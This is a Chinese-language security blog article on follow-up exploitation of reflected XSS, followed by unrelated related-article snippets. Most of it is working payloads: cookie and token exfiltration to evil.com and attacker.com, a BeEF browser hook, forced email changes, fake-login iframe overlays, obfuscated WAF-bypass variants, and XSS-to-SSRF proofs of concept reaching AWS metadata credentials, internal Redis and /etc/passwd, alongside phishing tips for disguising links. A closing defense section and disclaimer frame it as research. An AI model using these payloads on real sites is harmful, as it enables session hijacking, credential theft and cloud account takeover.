当前位置: 首页 > article >正文

详解反射型 XSS 的后续利用方式:从基础窃取到高级组合拳攻击链

在网络安全领域,反射型跨站脚本攻击(Reflected Cross-Site Scripting,简称反射型 XSS)因其短暂的生命周期和临时性,常被视为“低危”漏洞,威胁性不如存储型或 DOM 型 XSS。然而,这种看法低估了它的潜力。在渗透测试与红队演练中,反射型 XSS 凭借隐蔽性与灵活性,依然是攻击链中的关键“初始载体”或“跳板”。它可以实现从窃取用户数据到触发服务器端请求伪造(SSRF),甚至接管整个系统。本文将从基础到高级,系统探讨反射型 XSS 的后续利用方式,结合实战场景分析,为安全从业者提供可操作的思路和灵感。


反射型 XSS 的本质与潜力

反射型 XSS 是一种通过用户输入(如 URL 参数、搜索框)直接“反射”到页面中的脚本注入攻击。恶意代码仅在用户访问特定 URL 时执行,且不存储于服务器端,因此攻击者需诱导受害者点击精心构造的链接。尽管利用窗口短暂,反射型 XSS 在结合社会工程学、后端漏洞或其他攻击技术时,可演变为多层次、多维度的威胁。

从简单的 Cookie 窃取到复杂的 SSRF 触发,反射型 XSS 的利用链条远超想象。本文将分层拆解其攻击路径,涵盖基础利用、高级场景、XSS 转 SSRF 的原理与案例,并提供防御建议,助你在攻防博弈中占据主动。


🔧 基础利用:打开攻击之门

反射型 XSS 的最常见用途是通过注入 JavaScript 脚本窃取用户敏感信息,为后续攻击铺路。以下为典型场景:

1. 窃取用户敏感信息

攻击者通过注入 JavaScript 脚本,可捕获以下数据:

  • Cookies:读取 document.cookie 中的会话标识。
  • 本地存储:提取 localStoragesessionStorage 中的 token、用户信息。
  • URL 参数:拦截 OAuth 回调中的 access token 或其他临时凭证。

示例 Payload

<script>new Image().src = 'https://evil.com/log?c=' + encodeURIComponent(document.cookie);
</script>

此脚本伪装成图像请求,将 Cookie 静默发送至攻击者服务器。若目标站点未启用 HttpOnly 保护,攻击者可直接冒充用户身份。

实战场景:某电商平台存在反射型 XSS,攻击者通过钓鱼链接窃取用户 Cookie,伪装身份下单、修改地址或转账。

变种技巧

  • 使用 XMLHttpRequestfetch 提取页面隐藏数据(如 CSRF token)。
  • 捕获 location.href 中的敏感参数(如 ?token=xxx)。

🧠 高级利用:从跳板到全面接管

下一步:定制化攻击链

反射型 XSS 的利用效果高度依赖目标系统的特性:

  • 站点功能:如搜索框、PDF 生成、链接预览、文件上传。
  • 认证机制:如 Cookie、JWT、OAuth。
  • API 逻辑:参数处理、后端调用方式。
  • 防护措施:如 WAF、CSP、输入过滤。
  • 环境细节:云服务(如 AWS、Azure)、内网结构。

需要根据不同的站点,“量身定制”贴合场景的攻击链。


2. 配合钓鱼实现 Session 劫持

攻击者可构造恶意 URL,诱导用户点击:

https://vulnsite.com/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script>

通过社会工程学手段(如伪造可信邮件、即时消息、短链或二维码),将该 URL 包装为合法页面。一旦用户点击,脚本即可窃取 Cookie 或 JWT。若目标站点未正确配置 HttpOnly 或 Secure 属性,攻击者便可接管用户会话。

实战场景:攻击者伪装成某银行的客服,发送包含恶意链接的钓鱼邮件,诱导用户点击“验证账户”链接,从而窃取网银会话,实现资金转移。

优化技巧

  • 使用短链服务(如 bit.ly)隐藏恶意 URL。
  • 结合 encodeURI 或 Base64 编码绕过用户警觉。

3. XSS -> CSRF 或业务逻辑劫持

反射型 XSS 可用于执行跨站请求伪造(CSRF)或直接操控业务逻辑。例如,攻击者可通过脚本自动提交表单,触发以下敏感操作:

  • 修改用户邮箱或密码。
  • 添加管理员账户。
  • 触发支付或转账。

示例代码

fetch('/account/change-email', {method: 'POST',credentials: 'include',headers: { 'Content-Type': 'application/x-www-form-urlencoded' },body: 'email=hacker@evil.com'
});

此脚本利用受害者的会话权限,自动修改账户邮箱,可能导致账户被完全接管。

实战场景:某论坛网站存在反射型 XSS,攻击者可通过恶意链接诱导管理员点击,自动提交表单提升攻击者为管理员,进而控制整个平台。

变种技巧

  • 结合 FormData 构造复杂表单。
  • 使用 setInterval 重复提交,增加成功率。

4. XSS -> DOM 接管 -> 页面仿冒

通过修改页面 DOM 结构,攻击者可实现网页仿冒。例如,替换整个 <body> 内容或插入恶意 <iframe>,诱导用户输入更多敏感信息(如二次登录凭据):

示例代码

document.body.innerHTML = '<iframe src="https://evil.com/fake-login" style="width:100%;height:100vh;border:none;"></iframe>';

此脚本将页面伪装为合法登录界面,用户输入的凭据将直接发送至攻击者服务器。

实战场景:攻击者发现某企业内网应用存在反射型 XSS,可通过伪装成 SSO 登录页面,捕获员工的域凭据,进而横向渗透内网。

优化技巧

  • 使用 CSS 隐藏原始页面元素(如 visibility: hidden)。
  • 插入动态表单,模拟多步验证。

5. XSS -> C2 控制 -> 浏览器持久化

通过结合浏览器利用框架(如 BeEF,Browser Exploitation Framework),攻击者可在受害者浏览器中植入钩子:实现持久化操作:

示例代码

<script src="http://attacker.com/hook.js"></script>

一旦钩子生效,攻击者可实现以下操作:

  • 实时截取浏览器屏幕。
  • 获取用户地理位置。
  • 记录键盘输入。
  • 执行动态交互(如弹出钓鱼弹窗)。

实战场景:在红队演练中,攻击者利用反射型 XSS 植入 BeEF 钩子,控制高管浏览器,捕获其操作行为(如审批敏感文件),为后续攻击提供情报。

优化技巧

  • 使用 WebSocket 实现实时命令下发。
  • 结合 postMessage 跨窗口通信,扩大控制范围。

6. XSS -> SSRF/RCE/LFI 等漏洞链

若目标系统的前后端存在数据联动(如前端参数直接调用内部 API),反射型 XSS 可作为跳板,诱发更严重的漏洞。例如:

  • 服务器端请求伪造(SSRF):构造恶意请求,探测内网服务。
  • 远程代码执行(RCE):利用前端参数触发的后端漏洞。
  • 本地文件包含(LFI):通过特殊输入访问服务器文件。

示例代码

fetch('/api/proxy?url=http://internal-server:8080/admin', { credentials: 'include' });

此脚本诱导前端调用内部 API,触发 SSRF,可能暴露内网服务。

实战场景:某云服务管理平台存在反射型 XSS,攻击者通过恶意链接触发 SSRF,访问未授权的 AWS 元数据接口,获取临时凭证。


🚨 利用反射型 XSS 的关键点

成功利用反射型 XSS 及 XSS 转 SSRF 需关注以下要素:

要素要点
利用窗口攻击需在用户点击链接的短暂会话中完成,时间敏感。
自动触发脚本需立即执行,避免依赖用户交互(如点击、输入)。
绕过 WAF使用编码混淆(URL 编码、Base64)、大小写变体、关键字分割(如 onerror 拆为 on+error)。
合法伪装URL 需看似正常(如用 #hash、短链、子域名伪装)。
CORS 策略跨域请求需服务端错误配置(如 Access-Control-Allow-Origin: *)。
SSRF 验证盲 SSRF 依赖时间差、DNS 回调或外部日志(如 Burp Collaborator)。
协议支持测试 HTTP、HTTPS、file://、gopher:// 等协议,扩大攻击面。

绕过 WAF 示例

<scRiPt>new ImAgE().srC='http://evil.com/log?c='+document['coo'+'kie'];</scRiPt>

通过大小写混淆与字符串拼接,规避常见规则。


📌 XSS 转 SSRF 详细分析

XSS 转 SSRF 的原理是通过注入脚本触发服务器对恶意 URL 的请求:

  1. 注入 XSS 脚本:利用反射型 XSS 将恶意 JavaScript 嵌入页面。
  2. 构造恶意请求:使用 <iframe><img><script> 等标签,指向内网或敏感 URL。
  3. 服务器处理:服务器在解析 HTML(如生成 PDF、预览链接)时,发起网络请求,触发 SSRF。

技术关键点

  • HTML 解析:服务器组件(如 wkhtmltopdf、PhantomJS)可能解析 HTML 并请求外部资源。
  • 盲 SSRF 支持:即使响应不可见,攻击者可通过时间差或 DNS 回调验证请求。
  • 权限放大:服务器通常比客户端有更高网络权限,可访问内网(如 127.0.0.1)或云元数据(如 AWS 169.254.169.254)。
  • 协议灵活性:支持 HTTP、HTTPS、file:// 等协议,增加利用面。

典型场景

  • PDF 生成器:用户输入 HTML,服务器生成 PDF 时请求嵌入的 URL。
  • 链接预览:服务器加载用户提交的链接内容,触发请求。
  • 文件上传:解析含恶意脚本的 HTML/SVG 文件。
  • API 联动:前端参数直接传入后端 API,触发内部调用。

攻击流程

  1. 发现 XSS 漏洞
    • 测试输入点,确认反射型 XSS(如 <script>alert(1)</script><img src=x onerror=alert(1)>)。
  2. 验证服务器行为
    • 注入 <iframe src="http://example.com">,用 Burp Collaborator 或自建服务器记录请求。
  3. 构造 SSRF 负载
    • 替换为内网资源(如 <iframe src="http://127.0.0.1:8080">)或云元数据(如 <iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">)。
  4. 触发并确认
    • 提交负载,检查服务器是否发起请求。
    • 盲 SSRF 可通过响应时间差(如开放端口快、关闭端口慢)或 DNS 回调(如 x.attacker.com)验证。

示例负载

  • 基本探测
    <img src="http://127.0.0.1:80" onerror="document.write('SSRF Success')">
    
  • 云元数据窃取
    <iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" onload="this.contentWindow.location">
    
  • 盲 SSRF 回调
    <script>new Image().src = "http://attacker.com/log?" + encodeURI(document.domain);
    </script>
    
  • 内网服务探测
    <img src="http://10.0.0.1:6379" onerror="fetch('http://attacker.com/log?port=6379')">
    

盲 SSRF 优化

当服务器不返回响应时,可通过以下方式验证:

  • 时间差:请求不存在端口(如 127.0.0.1:9999),开放端口响应快,关闭端口超时。
  • DNS 回调:使用 <img src="http://x.attacker.com">,通过 DNS 查询记录请求。
  • 文件协议:尝试 file:///etc/passwd,若服务器解析,可能泄露本地文件。

🔍 实战案例分析

案例一:PDF 生成器中的 XSS 转 SSRF

  • 场景:某 SaaS 平台允许用户输入 HTML 生成报告,未充分过滤输入。
  • 攻击过程
    1. 注入 <script>document.write('test')</script>,PDF 显示 “test”,确认 XSS。
    2. 修改为 <iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">,服务器请求 AWS 元数据。
    3. PDF 返回凭证内容,攻击者提取临时密钥。
  • 结果:获取 AWS EC2 实例控制权,可能接管整个账户。
  • 关键点:服务器解析 HTML 未限制内网请求,放大 XSS 危害。

复现 POC

<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" onload="fetch('https://evil.com/log?d='+this.contentWindow.location)">

案例二:预览功能的盲 SSRF

  • 场景:某社交平台提供 URL 预览功能,未限制内部请求。
  • 攻击过程
    1. 注入 <img src="http://127.0.0.1:22">,无直接响应。
    2. 使用 <img src="http://x.attacker.com/log">,外部服务器收到 DNS 回调。
    3. 扫描内网端口,发现开放 Redis(6379)和数据库(3306)。
  • 结果:绘制内网拓扑图,为后续提权(如 Redis 写文件)铺路。
  • 关键点:盲 SSRF 依赖外部回调与时间差验证。

复现 POC

<img src="http://10.0.0.1:6379" onerror="fetch('https://evil.com/log?port=6379')">

案例三:文件上传触发的 XSS 转 SSRF

  • 场景:某 CMS 允许上传 HTML 文件,服务器解析时未禁用脚本。
  • 攻击过程
    1. 上传含 <script>alert(1)</script> 的 HTML 文件,确认 XSS。
    2. 修改为 <img src="http://internal-api:8080/admin">,服务器请求内部 API。
    3. 使用盲 SSRF 负载 <img src="http://x.attacker.com/log">,确认请求成功。
  • 结果:探测内部 API 端点,泄露未授权数据。
  • 关键点:文件解析未隔离,导致 XSS 直接触发 SSRF。

复现 POC

<img src="http://internal-api:8080/admin" onerror="new Image().src='http://evil.com/log?success=1'">

🛠️ 防御建议:筑牢攻防壁垒

针对反射型 XSS,开发者和安全团队应采取以下措施:

  1. 输入验证与输出编码
    • 严格过滤用户输入,禁用危险标签(如 <script><iframe><img>)。
    • 对输出进行 HTML/JS/URL 编码(如 encodeURIComponenthtmlspecialchars)。
  2. 保护会话安全
    • 启用 HttpOnly、Secure 和 SameSite 属性,防止 Cookie 被窃取。
    • 使用短生命周期 JWT,降低被盗风险。
  3. 限制服务器请求
    • 禁止服务器发起内网请求(如 127.0.0.1、AWS 元数据)。
    • 限制外部请求,仅允许白名单域名。
    • 禁用不必要协议(如 file://、gopher://)。
  4. 部署 WAF 和 CSP
    • 配置 WAF 拦截恶意脚本、可疑 URL 和异常请求。
    • 使用内容安全策略(CSP)限制脚本、iframe 和资源来源(如 script-src 'self')。
  5. 监控与沙箱
    • 监控服务器请求日志,识别 SSRF 尝试。
    • 在沙箱中解析用户上传文件,隔离潜在威胁。
  6. 安全开发实践
    • 定期进行代码审计,检查 HTML 解析逻辑。
    • 实施漏洞扫描,检测 XSS 和 SSRF 风险。

示例 CSP 配置

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'; img-src 'self';">

结语

反射型 XSS 看似微不足道,却能在精心设计的攻击链中掀起惊涛骇浪。从窃取 Cookie 到触发 SSRF,它不仅是渗透测试的“敲门砖”,更是红队演练中的“万能跳板”。通过本文的剖析,我们看到 XSS 转 SSRF 如何将前端漏洞升级为后端灾难,揭示了攻防链条的复杂性与魅力。

在安全的世界里,攻防永无止境。攻击者利用漏洞的创造力,提醒防御者必须以更严谨的思维构建保护网。希望本文的洞察能为你提供启发,保持警惕,不断学习,才能在漏洞与防护的博弈中占据主动。

声明:本文仅用于安全研究和授权测试,任何未经授权的攻击行为均违法。请在合法范围内使用技术,共同守护网络安全。

相关文章:

详解反射型 XSS 的后续利用方式:从基础窃取到高级组合拳攻击链

在网络安全领域&#xff0c;反射型跨站脚本攻击&#xff08;Reflected Cross-Site Scripting&#xff0c;简称反射型 XSS&#xff09;因其短暂的生命周期和临时性&#xff0c;常被视为“低危”漏洞&#xff0c;威胁性不如存储型或 DOM 型 XSS。然而&#xff0c;这种看法低估了它…...

服务治理-服务注册

一个服务在真实项目部署的时候&#xff0c;如果压力较大&#xff0c;会做多实例部署。 在IDEA里面做多实例部署的话&#xff0c;只需要配置多个启动项。...

NestJS——多环境配置方案(dotenv、config、@nestjs/config、joi配置校验)

个人简介 &#x1f440;个人主页&#xff1a; 前端杂货铺 &#x1f64b;‍♂️学习方向&#xff1a; 主攻前端方向&#xff0c;正逐渐往全干发展 &#x1f4c3;个人状态&#xff1a; 研发工程师&#xff0c;现效力于中国工业软件事业 &#x1f680;人生格言&#xff1a; 积跬步…...

MongoDB导出和导入数据

安装mongodump工具 参考文章mongodump工具安装及使用详解_mongodump安装-CSDN博客 MongoDB导入导出和备份的命令工具从4.4版本开始不再自动跟随数据库一起安装&#xff0c;而是需要自己手动安装。 官方网站下载链接&#xff1a;Download MongoDB Command Line Database Tools …...

数据从辅存调入主存,页表中一定存在

在虚拟内存系统中&#xff0c;​数据从辅存调入主存时&#xff0c;页表中一定存在对应的页表项&#xff0c;但页表项的「存在状态」会发生变化。以下是详细分析&#xff1a; 关键逻辑 ​页表的作用 页表是虚拟内存的核心数据结构&#xff0c;记录了虚拟地址到物理地址的映射关系…...

Serving入门

ServingHelloWorld Serverless 一个核心思想就是按需分配&#xff0c;那么 Knative 是如何实现按需分配的呢&#xff1f;另外在前面已经了解到 Knative Serving 在没有流量的时候是可以把Pod 缩容到零的。接下来就通过一些例子体验一下 Knative 缩容到零和按需自动扩缩容的能力…...

硬件操作指南——ATK-MD0430 V20

使用CC2530控制正点原子ATK-MD0430 V20显示的完整指南 本文将详细介绍如何使用CC2530单片机控制正点原子ATK-MD0430 V20显示屏&#xff0c;包括IAR开发环境的配置、硬件连接、程序编写和调试等完整步骤。 一、开发环境准备 1. IAR开发环境安装与配置 首先需要安装IAR Embed…...

【HDFS入门】HDFS数据冗余与容错机制解析:如何保障大数据高可靠存储?

目录 1 HDFS冗余机制设计哲学 1.1 多副本存储策略的工程权衡 1.2 机架感知的智能拓扑算法 2 容错机制实现原理 2.1 故障检测的三重保障 2.2 数据恢复的智能调度 3 关键场景容错分析 3.1 数据中心级故障应对 3.2 数据损坏的校验机制 4 进阶优化方案 4.1 纠删码技术实…...

UE学习记录part19

231 insect: insect enemy type 创建dead动画资源 往insect head上添加socket 创建攻击root motion动画。motion warping需要与root motion合作使用 为buff_blue创建物理资产 设置simulate physic使sinsect死亡后能落到地板上而不是漂浮在空中&#xff0c;要将die函数设置为 -…...

运行后allure报告没有自动更新(已解决)

pycharm直接运行run.py文件&#xff0c; allure生成的报告都没有更新&#xff0c;需要手动删除旧报告后再次运行才可以 pytest.ini [pytest]testpaths testcases/ addopts --alluredir ./report/result --clean-alluredir run.py主要代码 if __name__ "__main__&qu…...

深度学习在语音识别中的应用

引言 语音识别技术是人工智能领域中的一个重要分支&#xff0c;它使得机器能够理解和转换人类的语音为文本。深度学习的出现极大地推动了语音识别技术的发展。本文将介绍如何使用深度学习构建一个基本的语音识别系统&#xff0c;并提供一个实践案例。 环境准备 在开始之前&a…...

CUDA Tools 常用命令总结与记录 (需要细化)

以下是对 CUDA Toolkit 中常用工具和命令的详细总结&#xff0c;涵盖编译器、调试器、性能分析工具、GPU管理工具等核心组件&#xff1a; 一、编译器工具&#xff1a;nvcc nvcc 是 NVIDIA CUDA 编译器&#xff0c;用于编译 .cu 文件生成可执行文件或中间代码。 常用命令与参数…...

微信小程序 时间戳与日期格式的转换

1. 微信小程序 时间戳与日期格式的转换 微信小程序中的时间戳是指格林威治时间1970年01月01日00时00分00秒(北京时间1970年01月01日08时00分00秒)起至现在的总秒数。例如现在北京时间2015-12-31 17:00:00的时间戳是1451552400&#xff0c;就是指从北京时间1970-01-01 08:00:00到…...

【深度学习—李宏毅教程笔记】Transformer

目录 一、序列到序列&#xff08;Seq2Seq&#xff09;模型 1、Seq2Seq基本原理 2、Seq2Seq模型的应用 3、Seq2Seq模型还能做什么&#xff1f; 二、Encoder 三、Decoder 1、Decoder 的输入与输出 2、Decoder 的结构 3、Non-autoregressive Decoder 四、Encoder 和 De…...

【人工智能学习-01-01】20250419《数字图像处理》复习材料的word合并PDF,添加页码

前情提要 20250419今天是上师大继续教育人工智能专升本第一学期的第一次线下课。 三位老师把视频课的内容提炼重点再面授。&#xff08;我先看了一遍视频&#xff0c;但是算法和图像都看不懂&#xff0c;后来就直接挂分刷满时间&#xff0c;不看了&#xff09; 今天是面对面授…...

如何从 GitHub 镜像仓库到极狐GitLab?

最近 GitHub 封禁中国用户的事情闹得沸沸扬扬,虽然官方发布的报道说中国用户被限制登录是因为配置错误导致,已经撤回了更新,中国用户已经可以正常使用。但是这就像横在国内开发者和企业头上的“达摩克利斯之剑”。为了避免 GitHub 不可用而带来的影响,国内开发者和企业可以…...

【云馨AI-大模型】2025年4月第三周AI领域全景观察:硬件革命、生态博弈与国产化突围

一、硬件算力突破点燃多智能体时代 谷歌在4月12日Cloud Next大会发布第七代TPU Ironwood&#xff0c;单芯片算力达4614 TFLOPs&#xff0c;较前代内存提升6倍&#xff0c;专为AI推理场景优化。配合发布的Gemini 2.5 Flash模型通过"思考"功能实现成本优化&#xff0c…...

ETL数据集成平台在交通运输行业的五大应用场景

在智能交通与数字物流时代&#xff0c;交通运输企业每天产生海量数据——车辆轨迹、货物状态、乘客流量、设备日志……但这些数据往往被困在分散的系统中&#xff1a;GPS定位数据躺在车载终端里&#xff0c;物流订单卡在Excel表中&#xff0c;地铁客流统计锁在本地服务器内。如…...

使用 Docker 安装 Elastic Stack 并重置本地密码

Elastic Stack&#xff08;也被称为 ELK Stack&#xff09;是一个非常强大的工具套件&#xff0c;用于实时搜索、分析和可视化大量数据。Elastic Stack 包括 Elasticsearch、Logstash、Kibana 等组件。本文将展示如何使用 Docker 安装 Elasticsearch 并重置本地用户密码。 ###…...

利用 Deepseek 和 Mermaid 画流程图

提示词 你是一个产品经理&#xff0c;请绘制一个报名比赛的流程图&#xff0c;要求生成符合Mermaid语法的代码&#xff0c;具体要求如下&#xff1a; 1.注册账号 2.填写报名信息 3.参加比赛 4.查看比赛结果 生成的结果 flowchart TDA([开始]) --> B[注册账号]B --> C{账…...

系统架构设计师:系统架构概述案例分析与简答题、详细解析与评分要点

10道系统架构概述知识体系案例分析与简答题&#xff0c;涵盖架构设计原则、质量属性、演化过程、评估方法等核心考点&#xff0c;并附详细解析与评分要点&#xff1a; 一、案例分析题&#xff08;5题&#xff09; 1. 电商系统高并发场景下的架构设计 背景&#xff1a;某电商平…...

学习笔记: Mach-O 文件

“结构决定性质,性质决定用途”。如果不了解结构,是很难真正理解的。 通过一个示例的可执行文件了解Mach-O文件的结构 Mach-O基本结构 Header: &#xff1a;文件类型、目标架构类型等Load Commands&#xff1a;描述文件在虚拟内存中的逻辑结构、布局Data: 在Load commands中…...

图论-BFS搜索图/树-最短路径问题的解决

续上篇~图论--DFS搜索图/树-CSDN博客 先看第一次学习的博客&#xff01;&#xff01;&#x1f447;&#x1f447;&#x1f447;&#x1f447; &#x1f449; 有一些问题是广搜 和 深搜都可以解决的&#xff0c;例如岛屿问题&#xff0c;这里我们记dfs的写法就好啦&#xff0c;…...

【uniapp】vue2 使用 Vuex 状态管理

创建store文件夹&#xff1a;store/index.js // index.js import Vue from vue import Vuex from vuex import address from ./modules/address.jsVue.use(Vuex)const store new Vuex.Store({modules: {address} })export default store 创建modules文件夹&#xff1a;modul…...

vcpkg缓存问题研究

vcpkg缓存问题研究 问题描述解决方案官网给出的方案其实并不是大多数人语境中的“清除缓存”实际解决方案 问题描述 使用vcpkg管理c的库的时候&#xff0c;vcpkg会在c盘某些地方缓存下载的库&#xff0c;如果安装的库过多&#xff0c;这个缓存文件夹会过大占用磁盘空间&#x…...

个人自用-导入安装Hexo

因为本人原来就有备份好的资料&#xff0c;所以重新安装起来会很方便&#xff0c;这个教程也只适合我自己用 但是所有的命令行都要在Git的命令行里面使用&#xff08;因为我就是这样操作的&#xff09; 1 安装Git Git的官网 Git git --version 这个是查看Git的版本 git --…...

《AI大模型应知应会100篇》第26篇:Chain-of-Thought:引导大模型进行步骤推理

第26篇&#xff1a;Chain-of-Thought&#xff1a;引导大模型进行步骤推理 摘要 在自然语言处理&#xff08;NLP&#xff09;和人工智能领域&#xff0c;如何让大模型像人类一样进行逐步推理是一个核心挑战。Chain-of-Thought (思维链) 技术的出现为这一问题提供了强有力的解决…...

大模型API中转平台选择指南:如何找到优质稳定的服务

在人工智能快速发展的今天&#xff0c;大模型的应用已经渗透到各个领域。无论是开发智能应用的技术团队&#xff0c;还是希望通过AI提升效率的企业&#xff0c;都离不开大模型API的支持。然而&#xff0c;市场上的大模型API中转服务良莠不齐&#xff0c;层层转包的中间商模式不…...

STM32单片机入门学习——第43节: [12-3] 读写备份寄存器实时时钟

写这个文章是用来学习的,记录一下我的学习过程。希望我能一直坚持下去,我只是一个小白,只是想好好学习,我知道这会很难&#xff0c;但我还是想去做&#xff01; 本文写于&#xff1a;2025.04.19 STM32开发板学习——第43节: [12-3] 读写备份寄存器&实时时钟 前言开发板说明…...

零基础上手Python数据分析 (18):Matplotlib 基础绘图 - 让数据“开口说话”

写在前面 —— 告别枯燥数字,拥抱可视化力量,掌握 Matplotlib 绘图基础 欢迎来到 “高效数据分析实战指南:Python零基础入门” 专栏! 经过前面 Pandas 模块的学习和实战演练,我们已经掌握了使用 Python 和 Pandas 进行数据处理、清洗、整合、分析的核心技能。 我们能够从…...